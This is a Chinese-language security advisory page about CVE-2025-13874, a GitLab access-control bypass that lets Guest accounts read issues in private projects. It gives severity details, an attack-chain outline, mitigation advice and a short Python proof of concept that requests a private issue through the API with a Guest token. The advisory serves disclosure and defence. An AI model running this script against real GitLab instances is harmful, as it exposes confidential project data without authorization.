IPBUF安全漏洞报告
English
CVE-2025-13874 CVSS 4.3 中危

CVE-2025-13874 GitLab权限绕过漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2025-13874
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab CE/EE

相关标签

权限绕过GitLab信息泄露CWE-862CVE-2025-13874

漏洞概述

CVE-2025-13874是GitLab社区版和企业版中发现的一个安全漏洞。该漏洞影响了从15.1版本开始的多个发行版本。由于权限验证逻辑存在缺陷,拥有Guest权限的经过身份验证的用户,能够绕过访问控制限制,查看其未被授权访问的项目中的Issue(问题)详情。这可能导致敏感项目信息泄露。GitLab官方已发布修复版本,建议管理员尽快评估风险并应用补丁以防止信息泄露。

技术细节

该漏洞属于典型的访问控制失效(Broken Access Control),具体表现为IDOR(不安全的直接对象引用)。在受影响的GitLab版本中,系统在处理用户对特定Issue的查看请求时,未充分验证请求者对目标项目上下文的访问权限。通常,Guest角色仅应具有对公开项目或特定授权项目的受限读取权限。然而,利用此漏洞,攻击者无需提升账户权限,仅需使用合法的Guest账户,通过构造特定的API请求或Web界面链接,即可直接引用并获取私有项目中的Issue数据。攻击向量为网络(AV:N),攻击复杂度低(AC:L),且无需用户交互(UI:N)。虽然该漏洞不影响系统完整性(I:N)和可用性(A:N),但会对机密性(C:L)造成负面影响。

攻击链分析

STEP 1
1. 信息收集
攻击者注册或获取一个目标GitLab实例的Guest账号,并寻找可能存在敏感信息的私有项目ID和Issue ID。
STEP 2
2. 漏洞利用
攻击者使用Guest账号的Token,构造API请求直接访问私有项目的Issue接口(如 /api/v4/projects/:id/issues/:issue_iid)。
STEP 3
3. 获取数据
由于权限校验绕过,服务器返回了本应无权查看的Issue详细内容,攻击者成功获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration TARGET_URL = "https://your-gitlab-instance.com" PRIVATE_PROJECT_ID = "123" # ID of the target private project PRIVATE_ISSUE_IID = "1" # Internal ID of the issue ATTACKER_TOKEN = "glpat-guest_token_here" # Guest user's token # Headers headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Exploit attempt: Accessing private issue via API # GitLab API endpoint: /api/v4/projects/:id/issues/:issue_iid endpoint = f"{TARGET_URL}/api/v4/projects/{PRIVATE_PROJECT_ID}/issues/{PRIVATE_ISSUE_IID}" try: response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: print("[+] Vulnerability Confirmed!") print("[+] Issue Details Leaked:") print(response.json()) else: print(f"[-] Failed. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"Error: {e}")

影响范围

GitLab CE/EE >= 15.1, < 18.9.7
GitLab CE/EE >= 18.10, < 18.10.6
GitLab CE/EE >= 18.11, < 18.11.3

防御指南

临时缓解措施
如果无法立即升级,建议管理员暂时禁用Guest用户角色的注册或限制其访问权限,并密切审计项目访问日志以检测潜在的利用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表